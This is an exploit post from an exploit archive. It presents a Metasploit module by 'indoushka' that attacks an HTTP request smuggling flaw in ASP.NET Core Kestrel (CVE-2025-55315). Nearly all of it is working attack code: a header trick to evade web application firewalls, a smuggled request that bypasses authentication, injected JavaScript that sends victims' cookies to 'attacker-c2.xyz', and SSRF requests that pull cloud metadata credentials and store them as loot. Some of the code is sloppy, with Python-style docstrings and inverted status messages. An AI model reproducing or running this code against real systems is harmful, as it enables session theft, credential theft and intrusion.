Share
## https://sploitus.com/exploit?id=PACKETSTORM:219356
==================================================================================================================================
    | # Title     : ASP.net 8.0.10 Core Kestrel HTTP Request Smuggling Metasploit Module                                             |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://microsoft.com/                                                                                           |
    ==================================================================================================================================
    
    [+] Summary    : This Metasploit auxiliary module targets a critical HTTP request smuggling vulnerability in ASP.NET Core Kestrel caused by 
                     improper parsing of malformed chunked transfer encoding (notably LF-only line handling and case-variant headers like chUnKEd).
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Exploit::Remote::HttpClient
      include Msf::Auxiliary::Report
      include Msf::Auxiliary::Scanner
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'ASP.NET Core Kestrel HTTP Request Smuggling - CVE-2025-55315',
            'Description' => %q{
              This module exploits a critical HTTP Request Smuggling vulnerability in unpatched
              versions of ASP.NET Core Kestrel due to improper handling of malformed chunk
              extensions (LF-only line endings).
    
              The vulnerability allows:
                1. Authentication bypass to access restricted endpoints (/admin)
                2. Session hijacking via response queue poisoning
                3. SSRF to internal metadata services (AWS, GCP, Azure)
    
              Patched in .NET 9.0.1 / 8.0.10+ (October 2025).
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'indoushka'  
            ],
            'References' => [
              ['CVE', '2025-55315'],
              ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2025-55315'],
              ['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-55315']
            ],
            'DisclosureDate' => '2025-10-15',
            'Platform' => 'windows',
            'Targets' => [
              ['Automatic', {}]
            ],
            'DefaultTarget' => 0,
            'Notes' => {
              'Reliability' => [REPEATABLE_SESSION],
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [IOC_IN_LOGS, ACCOUNT_LOCKOUTS]
            }
          )
        )
    
        register_options([
          Opt::RPORT(80),
          OptBool.new('SSL', [false, 'Use SSL/TLS', false]),
          OptString.new('TARGET_URI', [true, 'Base path', '/']),
          OptString.new('BYPASS_PATH', [false, 'Path to bypass authentication', '/admin']),
          OptString.new('SSRF_TARGET', [false, 'Custom SSRF target URL', 'http://169.254.169.254/latest/meta-data/']),
          OptBool.new('AUTH_BYPASS', [true, 'Attempt authentication bypass', true]),
          OptBool.new('SESSION_HIJACK', [true, 'Attempt session hijacking', true]),
          OptBool.new('SSRF', [true, 'Attempt SSRF', true]),
          OptInt.new('TIMEOUT', [true, 'HTTP timeout in seconds', 10])
        ])
      end
    
      def run_host(ip)
        print_status("Starting CVE-2025-55315 exploitation against #{ip}:#{rport}")
        
        # Step 1: Fingerprinting - Check if vulnerable
        unless vulnerable?
          print_good("#{ip}:#{rport} appears patched or not vulnerable")
          return
        end
        
        print_error("#{ip}:#{rport} is VULNERABLE to CVE-2025-55315!")
        report_vulnerability
        
        # Step 2: Execute exploits based on user options
        exploit_results = {}
        
        if datastore['AUTH_BYPASS']
          exploit_results[:auth_bypass] = auth_bypass
        end
        
        if datastore['SESSION_HIJACK']
          exploit_results[:session_hijack] = session_hijack
        end
        
        if datastore['SSRF']
          exploit_results[:ssrf] = ssrf_exploit
        end
        
        # Step 3: Report findings
        report_exploitation_results(exploit_results)
      end
    
      private
    
      def build_chunked_request(method, path, body = '', extra_headers = [])
        """
        Build HTTP request with chunked encoding using WAF bypass
        Uses 'chUnKEd' header to bypass WAF rules
        """
        request = "#{method} #{path} HTTP/1.1\r\n"
        request += "Host: #{vhost}\r\n"
        request += "Transfer-Encoding: chUnKEd\r\n"  # WAF bypass
        request += "Content-Type: application/x-www-form-urlencoded\r\n"
        
        extra_headers.each do |header|
          request += "#{header}\r\n"
        end
        
        request += "\r\n"
        request += body
        
        request
      end
    
      def build_smuggled_request(method, path, headers = [], body = '')
        """
        Build smuggled HTTP request to be injected
        """
        req = "#{method} #{path} HTTP/1.1\r\n"
        req += "Host: #{vhost}\r\n"
        
        headers.each do |header|
          req += "#{header}\r\n"
        end
        
        req += "Content-Length: #{body.length}\r\n" if body.length > 0
        req += "\r\n"
        req += body
        
        req
      end
    
      def vulnerable?
        """
        Check if target is vulnerable by sending malformed chunked request
        """
        print_status("Checking if #{peer} is vulnerable...")
        
        # Malformed chunked payload with LF-only line endings
        test_payload = "1\nx\n0\n\n"
        request = build_chunked_request("POST", "/", test_payload)
        
        begin
          response = send_request_cgi({
            'method' => 'POST',
            'uri' => normalize_uri(datastore['TARGET_URI']),
            'data' => test_payload,
            'headers' => {
              'Transfer-Encoding' => 'chUnKEd'
            },
            'ctype' => 'application/x-www-form-urlencoded'
          }, datastore['TIMEOUT'])
          
          if response.nil?
            print_error("No response received")
            return false
          end
          
          if response.code == 400
            print_good("Target returned 400 Bad Request - Likely patched")
            return false
          else
            print_good("Target accepted malformed chunked encoding - VULNERABLE!")
            return true
          end
          
        rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
          print_error("Connection failed")
          return false
        end
      end
    
      def auth_bypass
        """
        Bypass authentication to access protected endpoints
        """
        bypass_path = datastore['BYPASS_PATH']
        print_status("Attempting authentication bypass to #{bypass_path}")
    
        smuggled = build_smuggled_request("GET", bypass_path, [
          "X-Forwarded-For: 127.0.0.1",
          "X-Bypass: true"
        ])
    
        exploit_payload = "1\nx\n" + smuggled + "0\r\n\r\n"
        
        begin
          response = send_request_cgi({
            'method' => 'POST',
            'uri' => normalize_uri(datastore['TARGET_URI']),
            'data' => exploit_payload,
            'headers' => {
              'Transfer-Encoding' => 'chUnKEd'
            }
          }, datastore['TIMEOUT'])
          
          if response && response.body
    
            indicators = ['admin', 'dashboard', 'welcome', 'panel', 'console', 'login']
            found = indicators.any? { |i| response.body.downcase.include?(i) }
            
            if found || (response.code == 200 && response.body.length > 100)
              print_good("Authentication bypass SUCCESSFUL!")
    
              path = store_loot(
                'kestrel.auth_bypass',
                'text/html',
                rhost,
                response.body,
                "cve_2025_55315_auth_bypass.html",
                "Authentication bypass response from #{bypass_path}"
              )
              print_good("Saved response to #{path}")
              
              report_note(
                host: rhost,
                port: rport,
                type: 'cve_2025_55315_auth_bypass',
                data: { path: bypass_path, status: response.code }
              )
              
              return true
            end
          end
          
          print_status("Authentication bypass failed")
          return false
          
        rescue ::Exception => e
          print_error("Auth bypass failed: #{e.message}")
          return false
        end
      end
    
      def session_hijack
        """
        Inject JavaScript to steal cookies via response queue poisoning
        """
        print_status("Attempting session hijacking...")
    
        js_payload = %Q|
    <script>
    fetch('http://attacker-c2.xyz/steal?c=' + encodeURIComponent(document.cookie), {
        mode: 'no-cors'
    });
    console.log('[*] Cookie stolen: ' + document.cookie);
    </script>
    |
    
        smuggled_response = %Q|HTTP/1.1 200 OK
    Content-Type: text/html
    Content-Length: #{js_payload.length}
    
    #{js_payload}|
    
        exploit_payload = "0\r\n\r\n" + smuggled_response
        
        begin
          response = send_request_cgi({
            'method' => 'POST',
            'uri' => normalize_uri(datastore['TARGET_URI']),
            'data' => exploit_payload,
            'headers' => {
              'Transfer-Encoding' => 'chUnKEd'
            }
          }, datastore['TIMEOUT'])
          
          print_good("Session hijacking payload injected")
          print_warning("Check your C2 server for stolen cookies")
          
          report_note(
            host: rhost,
            port: rport,
            type: 'cve_2025_55315_session_hijack',
            data: { payload: js_payload, status: 'injected' }
          )
          
          return true
          
        rescue ::Exception => e
          print_error("Session hijack failed: #{e.message}")
          return false
        end
      end
    
      def ssrf_exploit
        """
        SSRF to internal services (AWS metadata, internal endpoints)
        """
        ssrf_target = datastore['SSRF_TARGET']
        print_status("Attempting SSRF to #{ssrf_target}")
        
        # List of common SSRF targets to try
        targets = [
          ssrf_target,
          "http://169.254.169.254/latest/meta-data/",
          "http://169.254.169.254/latest/user-data/",
          "http://127.0.0.1:8080/actuator/env",
          "http://localhost:8080/actuator/health",
          "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
          "http://metadata.google.internal/computeMetadata/v1/",
          "http://100.100.100.200/latest/meta-data/"
        ]
        
        targets.uniq.each do |target|
          print_status("Trying SSRF target: #{target}")
          
          # Build smuggled request to internal target
          uri = URI(target) rescue nil
          next unless uri
          
          host_header = uri.host
          smuggled = build_smuggled_request("GET", target, [
            "Host: #{host_header}"
          ])
          
          exploit_payload = "0\r\n\r\n" + smuggled
          
          begin
            response = send_request_cgi({
              'method' => 'POST',
              'uri' => normalize_uri(datastore['TARGET_URI']),
              'data' => exploit_payload,
              'headers' => {
                'Transfer-Encoding' => 'chUnKEd'
              }
            }, datastore['TIMEOUT'])
            
            if response && response.body && response.body.length > 50
              # Check for sensitive data patterns
              if response.body =~ /role/i || 
                 response.body =~ /AccessKeyId/i || 
                 response.body =~ /SecretAccessKey/i ||
                 response.body =~ /Token/i
                
                print_good("SSRF SUCCESS! Found sensitive data from #{target}")
                
                # Save the loot
                path = store_loot(
                  'kestrel.ssrf',
                  'text/plain',
                  rhost,
                  response.body,
                  "cve_2025_55315_ssrf.txt",
                  "SSRF response from #{target}"
                )
                print_good("Saved SSRF response to #{path}")
                
                report_vuln(
                  host: rhost,
                  port: rport,
                  name: "CVE-2025-55315 SSRF",
                  info: "Successfully accessed internal endpoint: #{target}"
                )
                
                return true
              end
            end
            
          rescue ::Exception => e
            print_error("SSRF attempt to #{target} failed: #{e.message}")
            next
          end
        end
        
        print_status("SSRF exploitation failed")
        return false
      end
    
      def report_vulnerability
        """
        Report the vulnerability to the database
        """
        report_vuln(
          host: rhost,
          port: rport,
          name: "CVE-2025-55315 - ASP.NET Core Kestrel HTTP Request Smuggling",
          refs: references
        )
        
        report_note(
          host: rhost,
          port: rport,
          type: 'cve_2025_55315_vulnerable',
          data: { 
            cve: 'CVE-2025-55315',
            severity: 'Critical',
            cvss: 9.8
          }
        )
      end
    
      def report_exploitation_results(results)
        """
        Print and report exploitation results
        """
        print_status("\n" + "=" * 60)
        print_status("Exploitation Results Summary")
        print_status("=" * 60)
        
        results.each do |exploit, success|
          status = success ? "SUCCESS" : "FAILED"
          color = success ? "\e[32m" : "\e[31m"
          print_status("#{exploit.to_s.upcase}: #{color}#{status}\e[0m")
        end
        
        print_status("=" * 60)
    
        report_note(
          host: rhost,
          port: rport,
          type: 'cve_2025_55315_exploitation',
          data: results
        )
      end
    
      def peer
        "#{rhost}:#{rport}"
      end
    
      def vhost
        datastore['VHOST'] || rhost
      end
    end
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================